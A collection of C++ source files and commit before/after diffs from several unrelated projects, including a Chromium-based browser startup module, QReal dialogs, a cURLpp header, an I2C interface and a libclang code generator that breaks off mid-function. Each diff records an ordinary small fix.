case media::DEFAULT_AUDIO_DEVICE_NAME:\n return base::ASCIIToUTF16(\"Default\");\n#if defined(OS_WIN)\n case media::COMMUNICATIONS_AUDIO_DEVICE_NAME:\n return base::ASCIIToUTF16(\"Communications\");\n#endif\n default:\n return base::string16();\n }\n}\n\n} \/\/ namespace\n\nBrowserMainParts::BrowserMainParts() {\n}\n\nBrowserMainParts::~BrowserMainParts() {\n}\n\nvoid BrowserMainParts::PreEarlyInitialization() {\n std::unique_ptr<base::FeatureList> feature_list(new base::FeatureList);\n feature_list->InitializeFromCommandLine(\"\", \"\");\n base::FeatureList::SetInstance(std::move(feature_list));\n\n#if defined(USE_X11)\n views::LinuxUI::SetInstance(BuildGtkUi());\n OverrideLinuxAppDataPath();\n\n \/\/ Installs the X11 error handlers for the browser process used during\n \/\/ startup. They simply print error messages and exit because\n \/\/ we can't shutdown properly while creating and initializing services.\n ui::SetX11ErrorHandlers(nullptr, nullptr);\n#endif\n}\n\nvoid BrowserMainParts::ToolkitInitialized() {\n ui::MaterialDesignController::Initialize();\n\n#if defined(USE_AURA) && defined(USE_X11)\n views::LinuxUI::instance()->Initialize();\n#endif\n\n#if defined(USE_AURA)\n wm_state_.reset(new wm::WMState);\n#endif\n\n#if defined(TOOLKIT_VIEWS)\n views_delegate_.reset(new ViewsDelegate);\n#endif\n\n#if defined(OS_WIN)\n gfx::PlatformFontWin::adjust_font_callback = &AdjustUIFont;\n gfx::PlatformFontWin::get_minimum_font_size_callback = &GetMinimumFontSize;\n\n wchar_t module_name[MAX_PATH] = { 0 };\n if (GetModuleFileName(NULL, module_name, MAX_PATH))\n ui::CursorLoaderWin::SetCursorResourceModule(module_name);\n#endif\n}\n\nvoid BrowserMainParts::PreMainMessageLoopStart() {\n#if defined(OS_MACOSX)\n l10n_util::OverrideLocaleWithCocoaLocale();\n#endif\n InitializeResourceBundle(\"\");\n#if defined(OS_MACOSX)\n InitializeMainNib();\n#endif\n media::SetLocalizedStringProvider(MediaStringProvider);\n}\n\nvoid BrowserMainParts::PreMainMessageLoopRun() {\n content::WebUIControllerFactory::RegisterFactory(\n WebUIControllerFactory::GetInstance());\n\n \/\/ --remote-debugging-port\n auto command_line = base::CommandLine::ForCurrentProcess();\n if (command_line->HasSwitch(switches::kRemoteDebuggingPort))\n DevToolsManagerDelegate::StartHttpHandler();\n}\n\nvoid BrowserMainParts::PostMainMessageLoopStart() {\n#if defined(USE_X11)\n \/\/ Installs the X11 error handlers for the browser process after the\n \/\/ main message loop has started. This will allow us to exit cleanly\n \/\/ if X exits before us.\n ui::SetX11ErrorHandlers(BrowserX11ErrorHandler, BrowserX11IOErrorHandler);\n#endif\n#if defined(OS_LINUX)\n bluez::DBusBluezManagerWrapperLinux::Initialize();\n#endif\n}\n\nvoid BrowserMainParts::PostMainMessageLoopRun() {\n#if defined(USE_X11)\n \/\/ Unset the X11 error handlers. The X11 error handlers log the errors using a\n \/\/ |PostTask()| on the message-loop. But since the message-loop is in the\n \/\/ process of terminating, this can cause errors.\n ui::SetX11ErrorHandlers(X11EmptyErrorHandler, X11EmptyIOErrorHandler);\n#endif\n}\n\nint BrowserMainParts::PreCreateThreads() {\n#if defined(USE_AURA)\n display::Screen* screen = views::CreateDesktopScreen();\n display::Screen::SetScreenInstance(screen);\n#if defined(USE_X11)\n views::LinuxUI::instance()->UpdateDeviceScaleFactor();\n#endif\n#endif\n return 0;\n}\n\nvoid BrowserMainParts::PostDestroyThreads() {\n#if defined(OS_LINUX)\n device::BluetoothAdapterFactory::Shutdown();\n bluez::DBusBluezManagerWrapperLinux::Shutdown();\n#endif\n}\n\n} \/\/ namespace brightray\n<|endoftext|>"} {"text":"<commit_before>#include \"specifyGenerationRulesDialog.h\"\n#include \"ui_specifyGenerationRulesDialog.h\"\n\nusing namespace qReal;\nusing namespace gui;\n\nSpecifyGenerationRulesDialog::SpecifyGenerationRulesDialog(MainWindow &mainWindow\n\t\t, EditorManagerInterface &interpreterEditorManager\n\t\t, Id const &id) :\n\tQDialog(&mainWindow)\n\t, mUi(new Ui::SpecifyGenerationRulesDialog)\n\t, mInterpreterEditorManager(interpreterEditorManager)\n\t, mId(id)\n{\n\tmUi->setupUi(this);\n\n\taddPropertiesList();\n\tconnect(mUi->propertiesView, &QListWidget::itemDoubleClicked, this\n\t\t\t&SpecifyGenerationRulesDialog::insertPropertyIntoCode);\n}\n\nSpecifyGenerationRulesDialog::~SpecifyGenerationRulesDialog()\n{\n\tdelete mUi;\n}\n\nvoid SpecifyGenerationRulesDialog::insertPropertyIntoCode(QListWidgetItem* property)\n{\n\tQString const propertyName = property->text();\n\tmUi->codeArea->insertPlainText(propertyName);\n}\n\nvoid SpecifyGenerationRulesDialog::addPropertiesList()\n{\n\tmPropertiesNames = mInterpreterEditorManager.propertyNames(mId);\n\tQStringList const propertiesDisplayedNames = propertiesDisplayedNamesList(mPropertiesNames);\n\tmUi->propertiesView->clear();\n\tmUi->propertiesView->addItems(propertiesDisplayedNames);\n}\n\nQStringList SpecifyGenerationRulesDialog::propertiesDisplayedNamesList(QStringList const &propertiesNames)\n{\n\tQStringList propertiesDisplayedNames;\n\tfor (QString const &propertyName : propertiesNames) {\n\t\tpropertiesDisplayedNames << mInterpreterEditorManager.propertyDisplayedName(mId, propertyName);\n\t}\n\n\treturn propertiesDisplayedNames;\n}\n<commit_msg>added comma<commit_after>#include \"specifyGenerationRulesDialog.h\"\n#include \"ui_specifyGenerationRulesDialog.h\"\n\nusing namespace qReal;\nusing namespace gui;\n\nSpecifyGenerationRulesDialog::SpecifyGenerationRulesDialog(MainWindow &mainWindow\n\t\t, EditorManagerInterface &interpreterEditorManager\n\t\t, Id const &id) :\n\tQDialog(&mainWindow)\n\t, mUi(new Ui::SpecifyGenerationRulesDialog)\n\t, mInterpreterEditorManager(interpreterEditorManager)\n\t, mId(id)\n{\n\tmUi->setupUi(this);\n\n\taddPropertiesList();\n\tconnect(mUi->propertiesView, &QListWidget::itemDoubleClicked, this\n\t\t\t, &SpecifyGenerationRulesDialog::insertPropertyIntoCode);\n}\n\nSpecifyGenerationRulesDialog::~SpecifyGenerationRulesDialog()\n{\n\tdelete mUi;\n}\n\nvoid SpecifyGenerationRulesDialog::insertPropertyIntoCode(QListWidgetItem* property)\n{\n\tQString const propertyName = property->text();\n\tmUi->codeArea->insertPlainText(propertyName);\n}\n\nvoid SpecifyGenerationRulesDialog::addPropertiesList()\n{\n\tmPropertiesNames = mInterpreterEditorManager.propertyNames(mId);\n\tQStringList const propertiesDisplayedNames = propertiesDisplayedNamesList(mPropertiesNames);\n\tmUi->propertiesView->clear();\n\tmUi->propertiesView->addItems(propertiesDisplayedNames);\n}\n\nQStringList SpecifyGenerationRulesDialog::propertiesDisplayedNamesList(QStringList const &propertiesNames)\n{\n\tQStringList propertiesDisplayedNames;\n\tfor (QString const &propertyName : propertiesNames) {\n\t\tpropertiesDisplayedNames << mInterpreterEditorManager.propertyDisplayedName(mId, propertyName);\n\t}\n\n\treturn propertiesDisplayedNames;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) <2002-2006> <Jean-Philippe Barrette-LaPierre>\n * \n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files \n * (cURLpp), to deal in the Software without restriction, \n * including without limitation the rights to use, copy, modify, merge,\n * publish, distribute, sublicense, and\/or sell copies of the Software,\n * and to permit persons to whom the Software is furnished to do so, \n * subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included\n * in all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. \n * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY \n * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, \n * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n\n#ifndef CURLPP_INFO_HPP\n#define CURLPP_INFO_HPP\n\n#include \"dllfct.h\"\n#include \"Easy.hpp\"\n\nnamespace cURLpp \n{\n \/**\n * This class is responsible of retreiving the Info from\n * a handle. This is the class you use when you want to do\n * so.\n *\/\n template< CURLINFO info, typename T >\n struct Info \n {\n static void get(cURLpp::Easy &handle, T &value);\n static T get(cURLpp::Easy &handle);\n };\n\n \/**\n * This class is used when an info is not available for the\n * current libcURL version.\n *\/\n template< CURLINFO info, typename T >\n struct NotAvailableInfo : Info< info, T >\n {\n static void get(cURLpp::Easy &handle, T &value);\n static T get(cURLpp::Easy &handle);\n };\n\n \/**\n * This is the class you need to specialize if you use\n * a special type that libcURL is not aware of. This class\n * need to call cURLpp::InfoGetter::get function. See \n * cURLpp::InfoGetter for more information.\n *\/\n template< typename T >\n struct InfoTypeConverter\n {\n static void get(cURLpp::Easy &handle, CURLINFO info, T &value);\n }; \n\n template< >\n void InfoTypeConverter< std::string >::get(cURLpp::Easy &handle, \n\t\t\t\t\t CURLINFO info,\n\t\t\t\t\t std::string &value);\n\n template< >\n void InfoTypeConverter< std::list< std::string > >::get(cURLpp::Easy & handle,\n\t\t\t\t\t\t\t CURLINFO info,\n\t\t\t\t\t\t\t std::list< std::string > &value);\n\n template< >\n void InfoTypeConverter< long >::get(cURLpp::Easy &handle, \n\t\t\t\t CURLINFO info,\n\t\t\t\t long &value);\n\n template< >\n void InfoTypeConverter< double >::get(cURLpp::Easy &handle, \n\t\t\t\t\tCURLINFO info,\n\t\t\t\t\tdouble &value);\n\n \n \/**\n * This is the only class that is authorized to retreive \n * info from a cURLpp::Easy class. So, this is the class\n * you need to use when you specialize the class\n * cURLpp::InfoTypeConverter. This class is in fact used\n * as a proxy, just to be sure that nobody access cURLpp::Easy's \n * private data.\n *\/\n struct InfoGetter\n {\n template< typename T >\n static void get(cURLpp::Easy &handle, CURLINFO info, T &value);\n };\n}\n\n#include \"Info.inl\"\n\n#endif \n<commit_msg>Allowed curlpp to be built in a dynamic library (Win32: VC8 & VC9)<commit_after>\/*\n * Copyright (c) <2002-2006> <Jean-Philippe Barrette-LaPierre>\n * \n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files \n * (cURLpp), to deal in the Software without restriction, \n * including without limitation the rights to use, copy, modify, merge,\n * publish, distribute, sublicense, and\/or sell copies of the Software,\n * and to permit persons to whom the Software is furnished to do so, \n * subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included\n * in all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. \n * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY \n * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, \n * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n\n#ifndef CURLPP_INFO_HPP\n#define CURLPP_INFO_HPP\n\n#include \"dllfct.h\"\n#include \"Easy.hpp\"\n\nnamespace cURLpp \n{\n \/**\n * This class is responsible of retreiving the Info from\n * a handle. This is the class you use when you want to do\n * so.\n *\/\n template< CURLINFO info, typename T >\n struct Info \n {\n static void get(cURLpp::Easy &handle, T &value);\n static T get(cURLpp::Easy &handle);\n };\n\n \/**\n * This class is used when an info is not available for the\n * current libcURL version.\n *\/\n template< CURLINFO info, typename T >\n struct NotAvailableInfo : Info< info, T >\n {\n static void get(cURLpp::Easy &handle, T &value);\n static T get(cURLpp::Easy &handle);\n };\n\n \/**\n * This is the class you need to specialize if you use\n * a special type that libcURL is not aware of. This class\n * need to call cURLpp::InfoGetter::get function. See \n * cURLpp::InfoGetter for more information.\n *\/\n template< typename T >\n struct InfoTypeConverter\n {\n static void get(cURLpp::Easy &handle, CURLINFO info, T &value);\n }; \n\n template< >\n void CURLPPAPI InfoTypeConverter< std::string >::get(cURLpp::Easy &handle, \n\t\t\t\t\t CURLINFO info,\n\t\t\t\t\t std::string &value);\n\n template< >\n void CURLPPAPI InfoTypeConverter< std::list< std::string > >::get(cURLpp::Easy & handle,\n\t\t\t\t\t\t\t CURLINFO info,\n\t\t\t\t\t\t\t std::list< std::string > &value);\n\n template< >\n void CURLPPAPI InfoTypeConverter< long >::get(cURLpp::Easy &handle, \n\t\t\t\t CURLINFO info,\n\t\t\t\t long &value);\n\n template< >\n void CURLPPAPI InfoTypeConverter< double >::get(cURLpp::Easy &handle, \n\t\t\t\t\tCURLINFO info,\n\t\t\t\t\tdouble &value);\n\n \n \/**\n * This is the only class that is authorized to retreive \n * info from a cURLpp::Easy class. So, this is the class\n * you need to use when you specialize the class\n * cURLpp::InfoTypeConverter. This class is in fact used\n * as a proxy, just to be sure that nobody access cURLpp::Easy's \n * private data.\n *\/\n struct InfoGetter\n {\n template< typename T >\n static void get(cURLpp::Easy &handle, CURLINFO info, T &value);\n };\n}\n\n#include \"Info.inl\"\n\n#endif \n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2007-2015 QReal Research Group\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License. *\/\n\n#include \"miscellaniousPage.h\"\n#include \"ui_miscellaniousPage.h\"\n\n#include <qrkernel\/settingsManager.h>\n#include <qrutils\/widgets\/qRealFileDialog.h>\n\nusing namespace qReal;\n\nPreferencesMiscellaniousPage::PreferencesMiscellaniousPage(QWidget *parent)\n\t\t: PreferencesPage(parent)\n\t\t, mUi(new Ui::PreferencesMiscellaniousPage)\n{\n\tmUi->setupUi(this);\n\tsetObjectName(\"preferencesMiscellaniousPage\");\n\tsetWindowIcon(QIcon(\":\/preferencesDialog\/images\/miscellaneous.png\"));\n\n\tconnect(mUi->imagesPathBrowseButton, SIGNAL(clicked()), this, SLOT(browseImagesPath()));\n\tconnect(mUi->toolbarSizeSlider, &QSlider::valueChanged\n\t\t\t, [=](int value ) { SettingsManager::setValue(\"toolbarSize\", value); });\n\n\trestoreSettings();\n}\n\nPreferencesMiscellaniousPage::~PreferencesMiscellaniousPage()\n{\n\tdelete mUi;\n}\n\nvoid PreferencesMiscellaniousPage::changeEvent(QEvent *e)\n{\n\tswitch (e->type()) {\n\tcase QEvent::LanguageChange:\n\t\tmUi->retranslateUi(this);\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid PreferencesMiscellaniousPage::browseImagesPath()\n{\n\tconst QString path = utils::QRealFileDialog::getExistingDirectory(\"OpenImagesOnMiscellaniousPage\"\n\t\t\t, this, tr(\"Open Directory\")).replace(\"\\\\\", \"\/\");\n\tif (!path.isEmpty()) {\n\t\tmUi->imagesPathEdit->setText(path);\n\t}\n}\n\nvoid PreferencesMiscellaniousPage::save()\n{\n\tSettingsManager::setValue(\"Splashscreen\", mUi->splashScreenCheckBox->isChecked());\n\tSettingsManager::setValue(\"Antialiasing\", mUi->antialiasingCheckBox->isChecked());\n\n\tSettingsManager::setValue(\"pathToImages\", mUi->imagesPathEdit->text());\n\tSettingsManager::setValue(\"recentProjectsLimit\", mUi->recentProjectsLimitSpinBox->value());\n\n\tSettingsManager::setValue(\"toolbarSize\", mUi->toolbarSizeSlider->value());\n}\n\nvoid PreferencesMiscellaniousPage::restoreSettings()\n{\n\tmUi->antialiasingCheckBox->setChecked(SettingsManager::value(\"Antialiasing\").toBool());\n\tmUi->splashScreenCheckBox->setChecked(SettingsManager::value(\"Splashscreen\").toBool());\n\n\tmUi->toolbarSizeSlider->setValue(SettingsManager::value(\"toolbarSize\").toInt());\n\n\tmUi->imagesPathEdit->setText(SettingsManager::value(\"pathToImages\").toString());\n}\n<commit_msg>fix missed save step in miscellanious page<commit_after>\/* Copyright 2007-2015 QReal Research Group\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License. *\/\n\n#include \"miscellaniousPage.h\"\n#include \"ui_miscellaniousPage.h\"\n\n#include <qrkernel\/settingsManager.h>\n#include <qrutils\/widgets\/qRealFileDialog.h>\n\nusing namespace qReal;\n\nPreferencesMiscellaniousPage::PreferencesMiscellaniousPage(QWidget *parent)\n\t\t: PreferencesPage(parent)\n\t\t, mUi(new Ui::PreferencesMiscellaniousPage)\n{\n\tmUi->setupUi(this);\n\tsetObjectName(\"preferencesMiscellaniousPage\");\n\tsetWindowIcon(QIcon(\":\/preferencesDialog\/images\/miscellaneous.png\"));\n\n\tconnect(mUi->imagesPathBrowseButton, SIGNAL(clicked()), this, SLOT(browseImagesPath()));\n\tconnect(mUi->toolbarSizeSlider, &QSlider::valueChanged\n\t\t\t, [=](int value ) { SettingsManager::setValue(\"toolbarSize\", value); });\n\n\trestoreSettings();\n}\n\nPreferencesMiscellaniousPage::~PreferencesMiscellaniousPage()\n{\n\tdelete mUi;\n}\n\nvoid PreferencesMiscellaniousPage::changeEvent(QEvent *e)\n{\n\tswitch (e->type()) {\n\tcase QEvent::LanguageChange:\n\t\tmUi->retranslateUi(this);\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid PreferencesMiscellaniousPage::browseImagesPath()\n{\n\tconst QString path = utils::QRealFileDialog::getExistingDirectory(\"OpenImagesOnMiscellaniousPage\"\n\t\t\t, this, tr(\"Open Directory\")).replace(\"\\\\\", \"\/\");\n\tif (!path.isEmpty()) {\n\t\tmUi->imagesPathEdit->setText(path);\n\t}\n}\n\nvoid PreferencesMiscellaniousPage::save()\n{\n\tSettingsManager::setValue(\"Splashscreen\", mUi->splashScreenCheckBox->isChecked());\n\tSettingsManager::setValue(\"Antialiasing\", mUi->antialiasingCheckBox->isChecked());\n\n\tSettingsManager::setValue(\"pathToImages\", mUi->imagesPathEdit->text());\n\tSettingsManager::setValue(\"recentProjectsLimit\", mUi->recentProjectsLimitSpinBox->value());\n\n\tSettingsManager::setValue(\"toolbarSize\", mUi->toolbarSizeSlider->value());\n}\n\nvoid PreferencesMiscellaniousPage::restoreSettings()\n{\n\tmUi->antialiasingCheckBox->setChecked(SettingsManager::value(\"Antialiasing\").toBool());\n\tmUi->splashScreenCheckBox->setChecked(SettingsManager::value(\"Splashscreen\").toBool());\n\n\tmUi->recentProjectsLimitSpinBox->setValue(SettingsManager::value(\"recentProjectsLimit\").toInt());\n\n\tmUi->toolbarSizeSlider->setValue(SettingsManager::value(\"toolbarSize\").toInt());\n\n\tmUi->imagesPathEdit->setText(SettingsManager::value(\"pathToImages\").toString());\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"i2c_interface.h\"\n\nI2CInterface::I2CInterface(const std::string& deviceFile, uint8_t slaveAddress)\n : m_deviceFile(deviceFile),\n m_slaveAddress(slaveAddress),\n m_fileDescriptor(0)\n{\n}\n\nI2CInterface::~I2CInterface()\n{\n closeFileDescriptor();\n}\n\nI2CInterface::RET_CODE I2CInterface::init()\n{\n return openFileDescriptor();\n}\n\nI2CInterface::RET_CODE I2CInterface::openFileDescriptor()\n{\n if(m_fileDescriptor)\n {\n closeFileDescriptor();\n }\n\n \/\/Try to open the file descriptor\n m_fileDescriptor = open(m_deviceFile.c_str(), O_RDWR);\n if(m_fileDescriptor < 0)\n {\n std::cout << \"i2c error: \" << std::strerror(errno) << std::endl;\n return RET_CODE::FAILED_OPEN_FILE_DESCRIPTOR;\n }\n\n \/\/Init input output control\n if(ioctl(m_fileDescriptor, I2C_SLAVE, m_slaveAddress) < 0)\n {\n std::cout << \"i2c error: \" << std::strerror(errno) << std::endl;\n return RET_CODE::FAILED_INIT_INPUT_OUTPUT_CONTROL;\n }\n return RET_CODE::SUCCESS;\n}\n\nvoid I2CInterface::closeFileDescriptor()\n{\n if(m_fileDescriptor)\n {\n close(m_fileDescriptor);\n m_fileDescriptor = 0;\n }\n}\n\nI2CInterface::RET_CODE I2CInterface::setSlaveAddress(const uint8_t slaveAddress)\n{\n m_slaveAddress = slaveAddress;\n return openFileDescriptor();\n}\n\nuint8_t I2CInterface::getSlaveAddress() const\n{\n return m_slaveAddress;\n}\n\nI2CInterface::RET_CODE I2CInterface::send(uint8_t registerAddress, uint8_t* txBuffer, int length)\n{\n \/\/check for a null buffer pointer\n if(txBuffer == nullptr)\n {\n std::cout << \"i2c error: received null transmit buffer.\" << std::endl;\n return RET_CODE::NULL_TRANSMIT_BUFFER;\n }\n\n \/\/Check for an invalid length\n if(length < 1)\n {\n std::cout << \"i2c error: invalid send buffer length\" << std::endl;\n return RET_CODE::INVALID_TRANSMIT_BUFFER_LENGTH;\n }\n\n \/\/Create the buffer\n \/\/Payload length plus zeroth element for register\n uint8_t buffer[length + 1];\n buffer[0] = registerAddress;\n\n \/\/Pack the buffer\n for(size_t i = 0; i < length; ++i)\n {\n buffer[i+1] = txBuffer[i];\n }\n\n \/\/Write the data\n if(write(m_fileDescriptor, buffer, length) != length)\n {\n std::cout << \"i2c error: \" << std::strerror(errno) << std::endl;\n return RET_CODE::FAILED_I2C_WRITE;\n }\n\n return RET_CODE::SUCCESS;\n}\n\nI2CInterface::RET_CODE I2CInterface::sendByte(uint8_t registerAddress, uint8_t data)\n{\n uint8_t buffer[2];\n buffer[0] = registerAddress;\n buffer[1] = data;\n\n \/\/Write the data\n if(write(m_fileDescriptor, buffer, 2) != 2)\n {\n std::cout << \"i2c error: \" << std::strerror(errno) << std::endl;\n return RET_CODE::FAILED_I2C_WRITE;\n }\n\n return RET_CODE::SUCCESS;\n\n}\n\n\nI2CInterface::RET_CODE I2CInterface::readFromRegister(uint8_t registerAddress, uint8_t* rxBuffer, int length)\n{\n\n if(write(m_fileDescriptor, registerAddress, 1) != 1)\n {\n std::cout << \"i2c error: \" << std::strerror(errno) << std::endl;\n return RET_CODE::FAILED_I2C_WRITE;\n }\n\n if(read(m_fileDescriptor, rxBuffer, length) != length)\n {\n std::cout << \"i2c error: \" << std::strerror(errno) << std::endl;\n return RET_CODE::FAILED_I2C_READ;\n }\n\n return RET_CODE::SUCCESS;\n}<commit_msg>Added updated read<commit_after>#include \"i2c_interface.h\"\n\nI2CInterface::I2CInterface(const std::string& deviceFile, uint8_t slaveAddress)\n : m_deviceFile(deviceFile),\n m_slaveAddress(slaveAddress),\n m_fileDescriptor(0)\n{\n}\n\nI2CInterface::~I2CInterface()\n{\n closeFileDescriptor();\n}\n\nI2CInterface::RET_CODE I2CInterface::init()\n{\n return openFileDescriptor();\n}\n\nI2CInterface::RET_CODE I2CInterface::openFileDescriptor()\n{\n if(m_fileDescriptor)\n {\n closeFileDescriptor();\n }\n\n \/\/Try to open the file descriptor\n m_fileDescriptor = open(m_deviceFile.c_str(), O_RDWR);\n if(m_fileDescriptor < 0)\n {\n std::cout << \"i2c error: \" << std::strerror(errno) << std::endl;\n return RET_CODE::FAILED_OPEN_FILE_DESCRIPTOR;\n }\n\n \/\/Init input output control\n if(ioctl(m_fileDescriptor, I2C_SLAVE, m_slaveAddress) < 0)\n {\n std::cout << \"i2c error: \" << std::strerror(errno) << std::endl;\n return RET_CODE::FAILED_INIT_INPUT_OUTPUT_CONTROL;\n }\n return RET_CODE::SUCCESS;\n}\n\nvoid I2CInterface::closeFileDescriptor()\n{\n if(m_fileDescriptor)\n {\n close(m_fileDescriptor);\n m_fileDescriptor = 0;\n }\n}\n\nI2CInterface::RET_CODE I2CInterface::setSlaveAddress(const uint8_t slaveAddress)\n{\n m_slaveAddress = slaveAddress;\n return openFileDescriptor();\n}\n\nuint8_t I2CInterface::getSlaveAddress() const\n{\n return m_slaveAddress;\n}\n\nI2CInterface::RET_CODE I2CInterface::send(uint8_t registerAddress, uint8_t* txBuffer, int length)\n{\n \/\/check for a null buffer pointer\n if(txBuffer == nullptr)\n {\n std::cout << \"i2c error: received null transmit buffer.\" << std::endl;\n return RET_CODE::NULL_TRANSMIT_BUFFER;\n }\n\n \/\/Check for an invalid length\n if(length < 1)\n {\n std::cout << \"i2c error: invalid send buffer length\" << std::endl;\n return RET_CODE::INVALID_TRANSMIT_BUFFER_LENGTH;\n }\n\n \/\/Create the buffer\n \/\/Payload length plus zeroth element for register\n uint8_t buffer[length + 1];\n buffer[0] = registerAddress;\n\n \/\/Pack the buffer\n for(size_t i = 0; i < length; ++i)\n {\n buffer[i+1] = txBuffer[i];\n }\n\n \/\/Write the data\n if(write(m_fileDescriptor, buffer, length) != length)\n {\n std::cout << \"i2c error: \" << std::strerror(errno) << std::endl;\n return RET_CODE::FAILED_I2C_WRITE;\n }\n\n return RET_CODE::SUCCESS;\n}\n\nI2CInterface::RET_CODE I2CInterface::sendByte(uint8_t registerAddress, uint8_t data)\n{\n uint8_t buffer[2];\n buffer[0] = registerAddress;\n buffer[1] = data;\n\n \/\/Write the data\n if(write(m_fileDescriptor, buffer, 2) != 2)\n {\n std::cout << \"i2c error: \" << std::strerror(errno) << std::endl;\n return RET_CODE::FAILED_I2C_WRITE;\n }\n\n return RET_CODE::SUCCESS;\n\n}\n\n\nI2CInterface::RET_CODE I2CInterface::readFromRegister(uint8_t registerAddress, uint8_t* rxBuffer, int length)\n{\n uint8_t buffer[1];\n buffer[0] = registerAddress;\n\n if(write(m_fileDescriptor, buffer, 1) != 1)\n {\n std::cout << \"i2c error: \" << std::strerror(errno) << std::endl;\n return RET_CODE::FAILED_I2C_WRITE;\n }\n\n if(read(m_fileDescriptor, rxBuffer, length) != length)\n {\n std::cout << \"i2c error: \" << std::strerror(errno) << std::endl;\n return RET_CODE::FAILED_I2C_READ;\n }\n\n return RET_CODE::SUCCESS;\n}<|endoftext|>"} {"text":"<commit_before>#include <clang-c\/Index.h>\n#include <cstdio>\n\n#include <array>\n#include <iostream>\n#include <vector>\n\n\nnamespace {\n\n const unsigned int indent_spaces = 4;\n const std::string indentation(indent_spaces, ' ');\n\n}\n\nCXCursor tu_cursor;\n\nstruct client_data\n{\n CXTranslationUnit tu;\n std::vector<CXCursor> current_namespaces;\n CXCursor current_struct;\n \/\/ function signature, forwarding call arguments, optional return\n \/\/ keyword, and function name\n std::vector<std::array<std::string, 4>> member_functions;\n bool printed_headers;\n const char* filename;\n};\n\nstd::pair<CXToken*, unsigned int>\nget_tokens (CXTranslationUnit tu, CXCursor cursor)\n{\n CXSourceRange range = clang_getCursorExtent(cursor);\n CXSourceLocation start = clang_getRangeStart(range);\n CXSourceLocation end = clang_getRangeEnd(range);\n unsigned int start_offset, end_offset;\n\n std::pair<CXToken*, unsigned int> retval(0, 0);\n clang_tokenize(tu, range, &retval.first, &retval.second);\n\n return retval;\n}\n\nvoid\nfree_tokens (CXTranslationUnit tu, std::pair<CXToken*, unsigned int> tokens)\n{ clang_disposeTokens(tu, tokens.first, tokens.second); }\n\nvoid print_tokens (CXTranslationUnit tu, CXCursor cursor)\n{\n std::pair<CXToken*, unsigned int> tokens = get_tokens(tu, cursor);\n\n for (unsigned int i = 0; i < tokens.second; ++i) {\n if (i)\n std::cout << \" \";\n CXString spelling = clang_getTokenSpelling(tu, tokens.first[i]);\n std::cout << clang_getCString(spelling);\n }\n std::cout << \"\\n\";\n\n free_tokens(tu, tokens);\n}\n\nbool struct_kind (CXCursorKind kind)\n{\n switch (kind) {\n case CXCursor_ClassDecl:\n case CXCursor_StructDecl:\n case CXCursor_ClassTemplate:\n case CXCursor_ClassTemplatePartialSpecialization:\n return true;\n }\n return false;\n}\n\nstd::string indent (const client_data & data)\n{\n std::size_t size = data.current_namespaces.size();\n return std::string(size * indent_spaces, ' ');\n}\n\nvoid print_lines (const client_data & data,\n const char** lines,\n std::size_t num_lines)\n{\n for (unsigned int i = 0; i < num_lines; ++i) {\n if (lines[i])\n std::cout << indent(data) << indentation << lines[i] << \"\\n\";\n else\n std::cout << \"\\n\";\n }\n}\n\nvoid print_headers (client_data & data)\n{\n if (data.printed_headers)\n return;\n\n std::cout << \"#include <algorithm>\\n\"\n << \"#include <functional>\\n\"\n << \"#include <memory>\\n\"\n << \"#include <type_traits>\\n\"\n << \"#include <utility>\\n\"\n << \"\\n\";\n\n data.printed_headers = true;\n}\n\nvoid open_struct (const client_data & data, CXCursor struct_cursor)\n{\n std::pair<CXToken*, unsigned int> tokens =\n get_tokens(data.tu, struct_cursor);\n\n std::cout << \"\\n\" << indent(data);\n\n const std::string open_brace = \"{\";\n const std::string struct_ = \"struct\";\n const std::string class_ = \"class\";\n\n for (unsigned int i = 0; i < tokens.second; ++i) {\n CXString spelling = clang_getTokenSpelling(data.tu, tokens.first[i]);\n\n const char* c_str = clang_getCString(spelling);\n\n if (c_str == open_brace)\n break;\n\n if (c_str == struct_ || c_str == class_) {\n std::cout << \"\\n\" << indent(data);\n } else if (i) 